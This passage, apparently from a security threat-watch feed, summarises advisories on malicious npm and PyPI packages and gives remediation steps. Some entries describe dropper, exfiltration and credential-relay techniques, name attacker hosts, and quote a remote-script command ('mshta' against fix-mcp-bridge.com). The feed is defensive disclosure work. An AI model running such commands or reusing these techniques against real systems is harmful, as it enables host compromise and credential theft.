credentials that were present on affected hosts.; Remove the package and rebuild or reimage affected systems rather than relying on uninstall alone.; Search npm lockfiles, dependency trees, CI/CD logs, and build artifacts for tonty-tech-interviews and block it in package registries/proxies.; Review cloud, CI/CD, source-control, and package-registry logs for unauthorized access or publishing activity; rotate CI/CD credentials.; Hunt for persistence and additional malware on affected hosts and monitor for follow-on compromise. ### [critical] alwaysaqioo: malicious npm package can fully compromise hosts and steal secrets https://helix.ml/threat-watch/i/alwaysaqioo-malicious-npm-package-can-fully-compromise-hosts-and-steal-secrets · Supply chain · unpatched · since 2026-11-20 On 2026-11-20 the GitHub Advisory Database published GHSA-v223-q8vf-c837, flagging the npm package alwaysaqioo as malware containing embedded malicious code (CWE-506). Versions 1.1.1, 1.1.2, 1.1.3 and 1.1.5 are affected; no patched version exists. The advisory warns that any computer where the package was installed or running should be considered fully compromised, because an outside entity may have obtained full control. All secrets and keys on the host should be rotated from a different computer. Removing the package is recommended but may not eliminate all malicious software. The package had roughly 233 downloads per month and 12 GitHub stars at publication. Do: Treat any host that installed or ran alwaysaqioo as fully compromised; isolate it from networks and do not use it to rotate credentials.; From a separate trusted machine, rotate all secrets, API keys, tokens, SSH keys, and credentials that were present on affected hosts.; Remove alwaysaqioo and block affected versions in package manager and lockfiles; rebuild affected systems from trusted sources.; Audit for persistence, unauthorized access, and data exfiltration; consider full reimaging of affected hosts.; Review dependency trees and CI/CD logs for installs of alwaysaqioo and notify security teams. ### [critical] dsh-blue-team-mode: malicious npm package compromises hosts and exposes secrets (GHSA-7r7x-px4j-w4jg) https://helix.ml/threat-watch/i/dsh-blue-team-mode-malicious-npm-package-compromises-hosts-and-exposes-secrets-ghsa-7r7x-px4j-w4jg · Supply chain · unpatched · since 2026-11-20 GitHub Advisory Database published a malware advisory for the npm package dsh-blue-team-mode, affecting versions 3.0.0-beta.17 and 3.0.0-beta.18. The advisory warns that any computer with the package installed or running should be considered fully compromised, because the package contains embedded malicious code and may give an outside entity full control. No patched versions exist. The package has about 3,127 downloads per month and one GitHub star. Users are told to remove it, but removal may not eliminate all malicious software; all secrets and keys on affected hosts should be rotated from a different computer. No specific campaign, CVE, or in-the-wild exploitation details were provided. Do: Treat any host that installed or ran dsh-blue-team-mode 3.0.0-beta.17 or 3.0.0-beta.18 as fully compromised and isolate it from the network.; From a different, clean computer, rotate all credentials, API keys, SSH keys, tokens, and secrets that were present on affected hosts.; Remove the package and rebuild or reimage affected systems rather than relying on uninstall; audit for persistence and additional malware.; Block the affected versions in npm registries and CI, and search dependency locks, caches, and build logs for installs.; Review npm install activity and monitor for unauthorized access using the rotated credentials. ### [critical] Malicious npm packages ajmalzaki and 3 related — embedded malware fully compromises installers https://helix.ml/threat-watch/i/malicious-npm-packages-ajmalzaki-and-3-related-embedded-malware-fully-compromises-installers · Supply chain · unpatched · since 2026-11-20 On 2026-11-20 the GitHub Advisory Database published four critical malware advisories for npm packages ajmalzaki, akabia-aligufi-av, akanabi-abia-babu, and akanabi-abia-baigbub, each at version 1.0.0 with no patched release. The advisories state the packages contain embedded malicious code (CWE-506) and that any machine where they were installed or running should be considered fully compromised; secrets and keys should be rotated from a different computer. Monthly download counts range from 14 to 146. No exploitation details, CVE, CVSS, or EPSS score were provided. Removal is recommended, but the advisory warns that removing the package may not eliminate all malicious software because an outside entity may have gained full control. Do: Immediately search dependency manifests, lockfiles, caches, and build artifacts for the four package names and version 1.0.0; remove them.; Treat any host that installed or ran them as fully compromised; isolate and rebuild from trusted media.; Rotate all secrets, tokens, SSH keys, cloud credentials, and CI/CD secrets from a separate clean machine.; Audit npm and CI/CD logs and outbound network activity for signs of exfiltration or persistence.; Review transitive dependencies and container images; pin and verify packages. ### [critical] Malicious npm packages apasih-leda-pk and 3 related apasih-* packages — host compromise, secret theft https://helix.ml/threat-watch/i/malicious-npm-packages-apasih-leda-pk-and-3-related-apasih-packages-host-compromise-secret-theft · Supply chain · unpatched · since 2026-11-20 On 2026-11-20, the GitHub Advisory Database published four critical malware advisories for npm packages apasih-leda-pk, apasih-ledan-puakfi, apasih-ledong-po, and apasih-me-polda, each at version 1.0.0 with no patched versions. The advisories classify the packages as containing embedded malicious code (CWE-506) and warn that any computer where they were installed or running should be considered fully compromised. Secrets and keys on affected hosts should be rotated from a different computer. Removal is recommended, but because an outside entity may have gained full control, removing the package may not eliminate all malicious software. The packages had roughly 146–149 monthly downloads each. No exploitation status, CVE, or attacker identity was provided. Do: Treat any host that installed or ran these packages as fully compromised; isolate it and rebuild from trusted media.; From a different, uncompromised computer, rotate all secrets and keys that were present on affected hosts, including npm tokens, cloud credentials, SSH keys, and CI/CD secrets.; Remove the packages and audit lockfiles, package caches, CI logs, and dependency trees for apasih-* packages; block them in registry proxies.; Investigate affected hosts for persistence, backdoors, and unauthorized access; consider forensic review before returning them to service.; Adopt dependency allowlisting, provenance checks, and automated malware scanning for npm dependencies. ### [critical] arifali npm package: malicious 1.0.0 compromises hosts and exposes secrets (GHSA-3xvc-c2xw-876g) https://helix.ml/threat-watch/i/arifali-npm-package-malicious-1-0-0-compromises-hosts-and-exposes-secrets-ghsa-3xvc-c2xw-876g · Supply chain · no-fix-needed · since 2026-11-20 GitHub Advisory Database published GHSA-3xvc-c2xw-876g on 2026-11-20, flagging the npm package arifali version 1.0.0 as malware. The advisory states that any computer with the package installed or running should be considered fully compromised, with possible full control handed to an outside entity. All secrets and keys on affected machines should be rotated from a different computer. No patched versions exist, and removing the package may not eliminate all malicious software. The package has about one download per month, limiting known exposure, but installations should be treated as compromised. No exploitation details or CVE were provided. Do: Treat any host that installed or ran arifali 1.0.0 as fully compromised; isolate it from networks and do not trust credentials or data on it.; From a separate clean computer, rotate all secrets, API keys, tokens, SSH keys, and passwords that were present on affected hosts.; Remove the package and rebuild affected environments from known-clean sources; do not rely on uninstall alone to remove persistence.; Hunt for unauthorized access, persistence, and data exfiltration using logs and endpoint telemetry; review npm install history and lockfiles for arifali 1.0.0. ### [critical] arshadahmed: malicious npm package can fully compromise hosts and secrets https://helix.ml/threat-watch/i/arshadahmed-malicious-npm-package-can-fully-compromise-hosts-and-secrets · Supply chain · no-fix-needed · since 2026-11-20 GitHub Advisory Database published GHSA-9qcw-jqhm-rpg5 on 2026-11-20 for the npm package arshadahmed version 1.0.0, classifying it as malware with CWE-506 Embedded Malicious Code and critical severity. The advisory states that any computer with the package installed or running should be considered fully compromised, that an outside entity may have obtained full control, and that all secrets and keys should be rotated from a different computer. The package has about 19 downloads per month and no patched versions; removal is recommended, but the advisory warns it may not eliminate all malicious software. No CVE, CVSS, EPSS, or exploitation details were provided. Organizations that installed or depend on arshadahmed should isolate affected hosts, rotate credentials, and rebuild from clean sources. Do: Immediately isolate any host where arshadahmed 1.0.0 was installed or run and treat it as fully compromised.; From a different, clean computer, rotate all secrets, API keys, npm tokens, SSH keys, cloud credentials, and passwords that were accessible to affected hosts.; Remove the package and rebuild affected environments from clean sources; do not rely on uninstall alone to remove persistence.; Audit lockfiles, CI/CD logs, and npm install history for arshadahmed; scan for malicious persistence and unauthorized access.; Review npm publish/install credentials and monitor for anomalous package activity; consider blocking the package in registries/proxies. ### [critical] @thepayulink/server: Malicious npm package compromises hosts and steals secrets https://helix.ml/threat-watch/i/thepayulink-server-malicious-npm-package-compromises-hosts-and-steals-secrets · Supply chain · unpatched · since 2026-11-20 The GitHub Advisory Database published a malware advisory for the npm package @thepayulink/server version 2.0.0. The package contains embedded malicious code (CWE-506), and any computer that installed or ran it should be considered fully compromised; secrets and keys stored on that host should be rotated immediately from a different computer. No patched versions are listed. The advisory warns that removing the package may not remove all malicious software because an outside entity may have gained full control of the machine. No CVE, CVSS score, or confirmed in-the-wild exploitation details are provided. Organizations should treat affected hosts as compromised, isolate them, remove the package, rotate credentials, and investigate for persistence and unauthorized access. Do: Treat any host that installed or ran @thepayulink/server 2.0.0 as fully compromised and isolate it from the network.; Rotate all secrets, tokens, SSH keys, and credentials from a different, clean computer.; Remove the package and rebuild or reimage affected hosts rather than relying on uninstall alone.; Audit lockfiles, CI caches, and build artifacts for version 2.0.0 and block the package in registries.; Investigate affected systems for persistence and unauthorized access, and monitor for credential misuse. ### [critical] lyxe-baileys (npm): malicious package compromises hosts and exposes secrets https://helix.ml/threat-watch/i/lyxe-baileys-npm-malicious-package-compromises-hosts-and-exposes-secrets · Supply chain · no-fix-needed · since 2026-11-20 On 2026-11-20, the GitHub Advisory Database published GHSA-f329-9g9w-rc6v for the npm package lyxe-baileys, classifying it as malware containing embedded malicious code (CWE-506). All versions from >=0 are affected, and no patched versions exist. The advisory warns that any computer with the package installed or running should be considered fully compromised, because an outside entity may have gained full control; secrets and keys on the host should be rotated from a different computer. Removing the package is recommended but may not eliminate all malicious software. No CVE, exploitation details, or source code are listed. This is a supply-chain risk for Node.js/npm users who installed the package. Do: Assume any machine that installed or ran lyxe-baileys is fully compromised; isolate it from networks.; Rotate all secrets and keys from a different, trusted computer.; Remove the package and rebuild or reimage affected hosts; do not rely on uninstall alone.; Search lockfiles, caches, CI logs, and build artifacts for lyxe-baileys and block it in registries.; Investigate for persistence and unauthorized access, and engage incident response. ### [critical] @postman-cse/okta-aio-darwin-arm64: Malicious npm package compromises hosts and secrets https://helix.ml/threat-watch/i/postman-cse-okta-aio-darwin-arm64-malicious-npm-package-compromises-hosts-and-secrets · Supply chain · unpatched · since 2026-11-20 GitHub Advisory Database published GHSA-w29j-8x2j-rrj6 on 2026-11-20, flagging the npm package @postman-cse/okta-aio-darwin-arm64 as malware (CWE-506, embedded malicious code). All listed versions from 0.8.10 through 0.11.6 are affected, with no patched versions available. The advisory warns that any computer where the package was installed or running should be considered fully compromised, because an outside entity may have gained full control; all secrets and keys on the host should be rotated from a different computer. Removing the package is recommended but may not eliminate all malicious software. The package has roughly 235 downloads per month. No exploitation details, CVE, CVSS, or EPSS score were provided. Do: Treat any macOS host that installed or ran an affected version as fully compromised; isolate it and do not trust local credentials.; From a different, clean computer, rotate all secrets, API keys, tokens, SSH keys, and passwords that were present on affected hosts.; Remove the package and rebuild or reimage affected hosts; do not rely on uninstall to remove all malware.; Block affected versions in npm and CI, and audit lockfiles, caches, and build artifacts for @postman-cse/okta-aio-darwin-arm64.; Review npm install logs and CI/CD runners for exposure and notify security teams. ### [critical] npm: Four malicious packages compromise hosts via embedded malware https://helix.ml/threat-watch/i/npm-four-malicious-packages-compromise-hosts-via-embedded-malware · Supply chain · no-fix-needed · since 2026-11-20 On 2026-11-20, the GitHub Advisory Database published four critical malware advisories for npm packages aciyua-iduat-doauuufa, aciyudua-iadut-daina, aciyuyia-iadut-daina, and aminchocolat. The first three affect version 1.1.2; aminchocolat affects 1.0.0. All are classified CWE-506 Embedded Malicious Code and have no patched versions. GitHub warns that any computer with an affected package installed or running should be considered fully compromised, because an outside entity may have gained full control. Secrets and keys should be rotated from a different computer; removing the package may not eliminate all malicious software. Reported monthly downloads are 257, 4, 257, and 9 respectively. No exploitation details, CVSS, or EPSS score were provided. Do: Treat any host that installed or ran these packages as fully compromised; isolate it from networks and do not trust credentials entered on it.; From a different, clean computer, rotate all secrets, API keys, SSH keys, tokens, and passwords that were present on affected hosts.; Remove the four packages and audit lockfiles, npm caches, install logs, and CI artifacts for their presence; block them in registry/proxy controls.; Investigate affected hosts for persistence, unauthorized access, and data exfiltration; rebuild from trusted images if compromise is suspected.; Review dependency trees and CI/CD pipelines for transitive exposure, and notify security/incident response. ### [critical] npm: four malicious packages — embedded code fully compromises install hosts https://helix.ml/threat-watch/i/npm-four-malicious-packages-embedded-code-fully-compromises-install-hosts · Supply chain · no-fix-needed · since 2026-11-20 On 2026-11-20, the GitHub Advisory Database published four critical malware advisories for npm packages anastasia-soluble-pot 1.0.0, aiboa-milipe-apmuma 1.0.0, aiboa-molipe-aramiia 1.0.0, and aiyuyia-iaydut-daina 1.1.2. Each is flagged CWE-506 Embedded Malicious Code and has no patched version. The advisories warn that any computer with the package installed or running should be considered fully compromised, because an outside entity may have obtained full control; secrets and keys should be rotated from a different machine. Removal is recommended but may not eliminate all malicious software. Download counts are low—146/month for anastasia-soluble-pot, 12/month for aiboa-milipe-apmuma, 2/month for aiboa-molipe-aramiia, and unstated for aiyuyia-iaydut-daina—but the impact is critical for affected hosts. No exploitation details or campaign name were provided. Do: Treat any host that installed or ran these packages as fully compromised; isolate it and rebuild from trusted media.; Rotate all secrets, keys, tokens, and credentials from a different, clean computer.; Remove the packages and audit lockfiles, npm caches, CI artifacts, and container images for these names and versions.; Search dependency manifests, SBOMs, and install logs for these packages; review host and network activity for signs of compromise.; Block the package names and affected versions in registries and proxies, and alert developers who may have installed them.; If compromise is confirmed, initiate incident response and notify security/legal stakeholders as required. ### [critical] @corepassinc/remy-core-bin-win32-x64 npm package is malware — full machine compromise (no CVE) https://helix.ml/threat-watch/i/corepassinc-remy-core-bin-win32-x64-npm-package-is-malware-full-machine-compromise-no-cve · Supply chain · no-fix-needed · since 2026-11-20 GitHub published a malware advisory (GHSA-xgr8-c5gp-x7xf) for the npm package @corepassinc/remy-core-bin-win32-x64, version 0.1.0-rc.30, classified as CWE-506 embedded malicious code. Any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. No patched version exists; the package has no known source code and roughly 187 downloads per month. Removal of the package does not guarantee removal of all malicious software it may have installed. All secrets and keys on affected machines should be treated as stolen and rotated from a clean computer. Do: Treat any machine where the package was installed as fully compromised; rotate all secrets and keys from a different, clean computer; Remove the package and rebuild/reimage affected systems where feasible; Audit dependency trees and lockfiles for the package and block it in registries/proxies; Review logs and endpoints for signs of post-install malicious activity; Report and monitor for related corepassinc packages ### [critical] @metagl/sdk-render npm package 4.0.6 is malware — full machine compromise https://helix.ml/threat-watch/i/metagl-sdk-render-npm-package-4-0-6-is-malware-full-machine-compromise · Supply chain · no-fix-needed · since 2026-11-20 GitHub published advisory GHSA-jcx6-j558-wppc on 2026-11-20 flagging version 4.0.6 of the npm package @metagl/sdk-render as embedded malicious code (CWE-506). Per the advisory, any computer with the package installed or running should be considered fully compromised, implying attackers gained full control of affected machines and can access secrets, keys, and data. No patched version exists; the package has roughly 70 downloads per month, limiting but not eliminating reach. Removal of the package alone is not guaranteed to remove all malicious software. Users should treat any system where it was installed as breached, rotate all credentials from a clean machine, and rebuild affected systems. Do: Immediately rotate all secrets, keys, and credentials stored on any machine where @metagl/sdk-render 4.0.6 was installed, using a clean, uncompromised computer; Remove the package and rebuild/reimage affected machines, as removal may not eliminate all malicious software; Audit systems and CI environments for the package and review for signs of compromise or unauthorized access; Block the package in dependency policies and check lockfiles for transitive dependencies ### [critical] npm malware: @motionlib/framer-motion, motionframe-plugins, mock-data-sdk — malicious packages fully compromise installed machines https://helix.ml/threat-watch/i/npm-malware-motionlib-framer-motion-motionframe-plugins-mock-data-sdk-malicious-packages-fully-compromise-installed-mach · Supply chain · no-fix-needed · since 2026-11-20 On 2026-11-20 GitHub added three malware advisories for npm packages: @motionlib/framer-motion (GHSA-v2fg-x378-42g4, ~53 downloads/month), motionframe-plugins (GHSA-8j58-xfpr-cqfv) and mock-data-sdk (GHSA-6r85-j4v5-27rf). All versions (>= 0) are flagged as embedded malicious code (CWE-506) with no patched versions, meaning any installation grants attackers full control of the machine. Any computer with these packages installed or running should be considered fully compromised; secrets and keys stored on them are at risk. Removal of the package does not guarantee removal of the malicious software. Affected users should treat credentials as stolen and rotate them from a clean machine. Do: Immediately stop using and remove @motionlib/framer-motion, motionframe-plugins and mock-data-sdk from all projects and lockfiles; Rotate all secrets, API keys, tokens and credentials stored on or accessible from affected machines, using a clean computer; Rebuild/reimage affected machines and audit for persistence mechanisms; Audit CI/CD and developer environments for exposure of npm tokens and cloud credentials; Block these package names in internal registries and monitor for lookalike typosquat packages ### [critical] @guicai777/mcp-doctor npm package: obfuscated dropper drops hidden Windows PE and mshta RCE path (no CVE) https://helix.ml/threat-watch/i/guicai777-mcp-doctor-npm-package-obfuscated-dropper-drops-hidden-windows-pe-and-mshta-rce-path-no-cve · Supply chain · no-fix-needed · since 2026-11-20 The npm package @guicai777/mcp-doctor, posing as an MCP diagnostic utility, is malicious code (CWE-506) flagged by Amazon Inspector via OpenSSF. Version 1.0.1 ships bridge.bin (~866KB) as base64-encoded, XOR-obfuscated bytes. On Windows, index.js decodes and decrypts it to a PE written to %LOCALAPPDATA%\mcp-doctor\mcp-bridge.exe and spawns it detached and hidden. Before dropping, the CLI fetches https://fix-mcp-bridge.com/v.json and skips execution only if active:false, giving the operator remote control over payload activation. The README also instructs users to run mshta https://fix-mcp-bridge.com/init, a LOLBAS technique executing remote scripts under the user's context. No patched version exists; the package should be treated as compromised. Do: Remove @guicai777/mcp-doctor from all projects and lockfiles immediately; Hunt on Windows hosts for %LOCALAPPDATA%\mcp-doctor\mcp-bridge.exe and any process spawned from it; remove and investigate; Block network access to fix-mcp-bridge.com at egress/proxy; Audit hosts that installed the package for mshta executions of https://fix-mcp-bridge.com/init and follow-on activity; Rotate credentials and tokens used on affected machines; Pin dependencies and verify packages against advisory databases before install ### [critical] Malicious npm package mayx-blog — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-mayx-blog-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-20 GitHub's malware advisory database published GHSA-gmwr-j73c-6xw3 on 2026-11-20 flagging the npm package mayx-blog version 1.0.0 as embedded malicious code (CWE-506). Per the advisory, any computer where the package is installed or running should be considered fully compromised, with full control potentially handed to an outside entity. No patched version exists; the advisory recommends removal, but notes removal cannot guarantee elimination of all malicious software left behind. The package shows 42 GitHub stars, suggesting some real-world reach. Anyone who installed mayx-blog 1.0.0 should treat all secrets and keys on affected machines as stolen and rotate them from a clean computer. Do: Remove mayx-blog from all systems and rebuild affected machines from clean images; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, using a different clean computer; Audit systems for persistence mechanisms and unauthorized access following installation; Check CI/CD and developer environments for exposure of npm tokens, SSH keys and cloud credentials ### [critical] Malicious npm package truffle-kit v3.3.2 poses as pino logger, drops remote code execution payload https://helix.ml/threat-watch/i/malicious-npm-package-truffle-kit-v3-3-2-poses-as-pino-logger-drops-remote-code-execution-payload · Supply chain · no-fix-needed · since 2026-11-20 The npm package truffle-kit version 3.3.2 was identified as malware impersonating a pino-style logging middleware. Its main entry spawns a detached, hidden child process (node lib/caller.js with stdio ignored and unref), which base64-decodes a hardcoded URL (iphub-encrypted.vercel.app), POSTs to it via axios, and executes the response body via new Function.constructor('require', ...) with the real require — granting the remote endpoint arbitrary code execution with full Node privileges on the host. Inconsistent metadata (bugs URL at jsonspack.com, unrelated description) suggests typosquat/impersonation cover. Anyone installing or depending on truffle-kit 3.3.2 is affected. No patched version exists; the package should be removed entirely. Do: Remove truffle-kit 3.3.2 from all projects and lockfiles immediately; Audit hosts where it was installed for compromise; rotate credentials, tokens, and secrets accessible to Node processes; Check CI/CD logs and dependency trees for truffle-kit or unexpected node lib/caller.js executions; Block the C2 endpoint iphub-encrypted.vercel.app and review egress for connections to it; Replace with the legitimate pino logger if logging middleware is needed ### [critical] XOR-dropper npm malware: vcdxg-eavtg-util — hollow package decodes 1.1 MB obfuscated payload on require https://helix.ml/threat-watch/i/xor-dropper-npm-malware-vcdxg-eavtg-util-hollow-package-decodes-1-1-mb-obfuscated-payload-on-require · Supply chain · no-fix-needed · since 2026-11-20 GitHub Advisory Database (GHSA-q6xv-rqvq-8h46, credited to Amazon Inspector via OpenSSF) flags npm package vcdxg-eavtg-util@1.0.1 as malicious. The package exports an empty API (module.exports = {}) but ships a 1.1 MB opaque sibling file .pkg_config. On require(), index.js XOR-decodes every byte of that file with single-byte key 0x96 inside a swallowed try/catch, producing a 1.1 MB in-memory buffer. No eval/Function/subprocess/write sink is visible in the shipped code, so the decoded payload's purpose cannot be confirmed benign — a staged-dropper shape. Package metadata is minimal (description 'utility package', random-looking name, no author or repository). Affected version: 1.0.1; no fixed version exists. Anyone who installed or required the package is affected; removal is the only remediation. Do: Remove vcdxg-eavtg-util from all dependency trees and lockfiles immediately; Audit systems where the package was installed or required for signs of follow-on payload execution; Check CI/CD and build environments for the package and rotate any credentials accessible during builds; Block the package name in internal registries/proxies and scan for other hollow packages with large encoded sibling files ### [critical] scanstudy-pointer-bat (npm): malicious package downloads and executes render.bat via curl/cmd on Windows hosts https://helix.ml/threat-watch/i/scanstudy-pointer-bat-npm-malicious-package-downloads-and-executes-render-bat-via-curl-cmd-on-windows-hosts · Supply chain · no-fix-needed · since 2026-11-20 GitHub Advisory Database (GHSA-jrfq-g54q-gmc8, published 2026-11-20, source amazon-inspector/OpenSSF) flags npm package scanstudy-pointer-bat@1.0.0 as malware. Advertised as a calculator UI utility, its main.js schedules a child_process.exec via setTimeout on require/start that runs curl to download a file from a configured RENDERER_URL and executes it as render.bat under cmd, yielding arbitrary code execution on Windows hosts for whoever controls that config key. The shipped config.json omits RENDERER_URL, so the current artifact resolves to an empty URL, but the full download-and-execute machinery is present and reachable on load. Decoy patterns include an unused Mandelbrot-style CPU-busy routine and a random 0–5 second delay around the shell-out. No patched versions exist; the package should be treated as compromised and removed. Do: Remove and uninstall scanstudy-pointer-bat@1.0.0 from all projects and lockfiles; Audit Windows hosts where the package was installed for render.bat artifacts, unexpected curl/cmd executions, and persistence; Block the package name in npm registries, proxies, and CI dependency scanning; Rotate credentials and secrets accessible from affected machines; Review dependency trees for other typosquat or suspicious calculator-utility packages ### [critical] vite-plugin-bar-plus npm malware: exfiltrates host UUID, usernames and env secrets, remote build kill switch https://helix.ml/threat-watch/i/vite-plugin-bar-plus-npm-malware-exfiltrates-host-uuid-usernames-and-env-secrets-remote-build-kill-switch · Supply chain · no-fix-needed · since 2026-11-20 The npm package vite-plugin-bar-plus, advertised as a Vite progress-bar plugin, was identified as malicious (GHSA-7ppq-5qfr-6796, CWE-506). During consumers' Vite builds it POSTs the machine hardware UUID (via systeminformation.system()), USERNAME and USERDOMAIN environment values, INIT_CWD, npm package name/version, and the VITE_APP_EMAIL_USER_NAME environment variable in plaintext HTTP to api.wit-ui.com/check.php. The destination URL and env-var name are assembled at runtime from 2-3 character string fragments, a deliberate anti-detection pattern. The response handler acts as a remote kill switch: when data.ret == 0 it prints attacker-supplied data.msg in red and calls process.exit(), aborting the build. The README discloses none of this. Only version 1.0.47 is affected; no fixed version exists. Any project installing this package is affected. Do: Remove and uninstall vite-plugin-bar-plus from all projects and lockfiles immediately; Rotate any credentials or secrets that may have been exposed via environment variables, especially VITE_APP_EMAIL_USER_NAME; Treat affected build machines as potentially compromised; investigate host identifiers and credentials exfiltrated; Block network access to api.wit-ui.com and audit build/CI logs for connections to it; Audit dependencies for similar obfuscated string-fragment patterns and undisclosed network behavior ### [critical] spencer-braincore (npm): malicious Baileys fork silently joins WhatsApp groups/channels via hardcoded remote list (no CVE) https://helix.ml/threat-watch/i/spencer-braincore-npm-malicious-baileys-fork-silently-joins-whatsapp-groups-channels-via-hardcoded-remote-list-no-cve · Supply chain · no-fix-needed · since 2026-11-20 The npm package spencer-braincore, a Baileys-derived WhatsApp library, was published with embedded malicious code. Its makeNewsletterSocket schedules an unconditional timer (90s after connect, repeating every 3 hours) that fetches a JSON list from a hardcoded endpoint (https://savage-prox.onrender.com/api/v1/links) and uses the consumer's authenticated WhatsApp session to accept group invites and follow newsletter channels chosen by the author on a remotely mutable list. A .bak file in the tarball contains the same loop with a base64-encoded alternate endpoint, indicating prior concealment. Any normal use of the advertised makeWASocket entrypoint triggers the behavior. No credential theft, persistence, RCE, or destruction is involved. Affected version is 1.0.0; no patched version exists, so the package should be removed. Do: Remove spencer-braincore from all projects and lockfiles; do not install any version; Audit WhatsApp sessions/accounts that used the package for unauthorized group joins and channel follows, and leave them; Rotate/revoke WhatsApp linked-device sessions used with the package; Review dependency trees for other Baileys-derived forks with similar auto-follow behavior; Block the hardcoded endpoints (savage-prox.onrender.com, files.gifted.co.ke) at network egress ### [critical] MRCL2 / MRCL2Suhail PyPI typosquat-style malware: import-time directory exfiltration via pinggy tunnel https://helix.ml/threat-watch/i/mrcl2-mrcl2suhail-pypi-typosquat-style-malware-import-time-directory-exfiltration-via-pinggy-tunnel · Supply chain · no-fix-needed · since 2026-11-20 Two related PyPI packages, MRCL2 (versions 1.0.1–1.0.5) and MRCL2Suhail (versions 1.0.0–1.0.4), contain embedded malicious code (CWE-506) flagged by GitHub Advisory Database on 2026-11-20. Both packages masquerade as a 'document integrity utility' but ship no such functionality. On any import, top-level code in core.py runs os.listdir('.') to enumerate the caller's working directory and sends the listing over a TCP socket to hardcoded pinggy-free anonymous reverse-tunnel hosts fronting 13.205.45.209 (port 34957 for MRCL2Suhail, 40371 for MRCL2). This is import-time reconnaissance exfiltration: CI and developer environments often contain sensitive project file names. Data is transmitted without consent on every import. No patched versions exist; the packages are malware and should be removed, not upgraded. Do: Immediately remove/uninstall MRCL2 and MRCL2Suhail from all environments, including CI runners and build images; Audit logs and network egress for connections to *.run.pinggy-free.link (ports 34957, 40371) and 13.205.45.209 to identify exposure; Assess sensitivity of file names in working directories where the packages were imported; rotate any secrets whose names were exposed; Block egress to pinggy-free.link tunnel domains and the associated IP at firewall/proxy level; Add the packages to dependency blocklists and scan dependency lockfiles and caches for them ### [critical] Dependency-confusion PoC: @awazevr/mfe-common.contexts.guest-auth npm package runs shell commands on install https://helix.ml/threat-watch/i/dependency-confusion-poc-awazevr-mfe-common-contexts-guest-auth-npm-package-runs-shell-commands-on-install · Supply chain · no-fix-needed · since 2026-11-20 A malicious npm package, @awazevr/mfe-common.contexts.guest-auth version 1.0.0, was published to the public registry under the unregistered scope @awazevr, which a third-party organization uses for private internal packages — a classic dependency-confusion setup. Its package.json declares a postinstall script that executes shell commands (whoami, hostname) on every install, prefixed with a banner self-identifying as a dependency-confusion proof-of-concept. Any CI or build system that resolves the @awazevr scope from the public npm registry without a scoped-registry pin auto-executes the attacker-authored commands at install time. The current payload only prints local host identifiers, but the arbitrary command execution path is fully functional and future versions could deliver any payload. Flagged by Amazon Inspector and tracked by OpenSSF as MAL-2026-20277; no patched versions exist. Do: Audit lockfiles and CI logs for any @awazevr/* packages resolved from the public npm registry and remove them; Pin internal scopes to the private registry in .npmrc and CI configuration so public lookalikes are never fetched; Block or quarantine the package and scope @awazevr in proxy/firewall (e.g. npm audit, artifact repositories); Rebuild any images or artifacts built while the package may have been installed and review installer hosts for compromise; Enable lifecycle-script blocking (npm config set ignore-scripts true) for untrusted installs ### [critical] @eryxenx/fca npm malware: Facebook Chat API client relays plaintext credentials and TOTP seed to minhdong.site https://helix.ml/threat-watch/i/eryxenx-fca-npm-malware-facebook-chat-api-client-relays-plaintext-credentials-and-totp-seed-to-minhdong-site · Supply chain · no-fix-needed · since 2026-11-20 The npm package @eryxenx/fca, published as a Facebook Chat API client, contains malicious code in its loginViaAPI flow (module/loginHelper.js). It POSTs caller-supplied Facebook email, password, and long-lived Base32 TOTP seed to a hardcoded third-party endpoint at https://minhdong.site/api/v1/facebook/login_ios, unrelated to Facebook or the declared publisher. The proxy mints the entire authenticated session, returning uid, access_token, and cookies that the library installs into the caller's cookie jar as live .facebook.com session cookies. This enables indefinite account impersonation and valid 2FA code generation by the attacker. Versions 1.3.0–1.3.2 are affected with no patched versions; ~7,443 monthly downloads. Flagged as malware (CWE-506) by Amazon Inspector via OpenSSF/GitHub Advisory Database on 2026-11-20. Do: Immediately remove @eryxenx/fca from all projects and lockfiles; treat versions 1.3.0–1.3.2 as compromised; Rotate Facebook account passwords for any credentials entered while the package was installed; Revoke all active Facebook sessions and access tokens, and re-enroll 2FA with a new TOTP seed (the old seed must be considered stolen); Audit logs for logins from unexpected IPs or sessions minted via minhdong.site; Search dependency trees for other fca-style Facebook Chat API forks with hardcoded third-party login endpoints ### [critical] sirens-lamentt (npm): malicious postinstall beacon phones home to webhook.site on install (dependency-confusion probe) https://helix.ml/threat-watch/i/sirens-lamentt-npm-malicious-postinstall-beacon-phones-home-to-webhook-site-on-install-dependency-confusion-probe · Supply chain · no-fix-needed · since 2026-11-20 The npm package sirens-lamentt@99.0.2 was identified as malicious: its postinstall lifecycle hook unconditionally sends an HTTPS GET to a hardcoded webhook.site URL tagged source=htb-postinstall, reporting the installer's IP address and install event to an anonymous third-party collector on every npm install. The implausible version number and beacon pattern indicate a dependency-confusion probe against an internal package name rather than a full payload delivery. Any developer or CI pipeline that installs the package is affected and leaks network information. No patched versions exist; the package has no known legitimate source. Flagged by Amazon Inspector and catalogued by OpenSSF malicious-packages, published to the GitHub Advisory Database on 2026-11-20. Do: Audit lockfiles and CI logs for any install of sirens-lamentt; treat any hit as a beacon event and investigate the egressing host/IP; Block the webhook.site URL https://webhook.site/667bf650-8676-451a-8f55-b647d58825d7 and webhook.site generally at egress for build environments; Remove the package from dependencies and rotate any secrets accessible from affected build machines as a precaution; Configure npm registry allowlists / scope-internal package names to prevent dependency confusion; Disable or gate lifecycle scripts (e.g. npm config set ignore-scripts true) in CI ### [critical] @cexy/wonfca npm package — credential-harvesting Facebook Chat API sends logins to attacker server https://helix.ml/threat-watch/i/cexy-wonfca-npm-package-credential-harvesting-facebook-chat-api-sends-logins-to-attacker-server · Supply chain · no-fix-needed · since 2026-11-20 GitHub Advisory Database (GHSA-fg8p-3m89-pwhf, published 2026-11-20) flags the npm package @cexy/wonfca, advertised as a Facebook Chat API, as malicious. Versions 1.2.1 and 1.2.2 hardcode defaultConfig.apiServer to https://minhdong.site, an author-controlled host that is not a Facebook domain. The standard email/password login flow (makeLogin → tokens → tokensViaAPI → loginViaAPI) POSTs the caller's Facebook email, password and two-factor code to that endpoint, then uses the response to populate the Facebook cookie jar with uid, access_token and session cookies. The author's server therefore observes and intermediates every caller's Facebook credentials and live session material. Any consumer invoking the package's default login() flow is affected. There are no patched versions; the package (~876 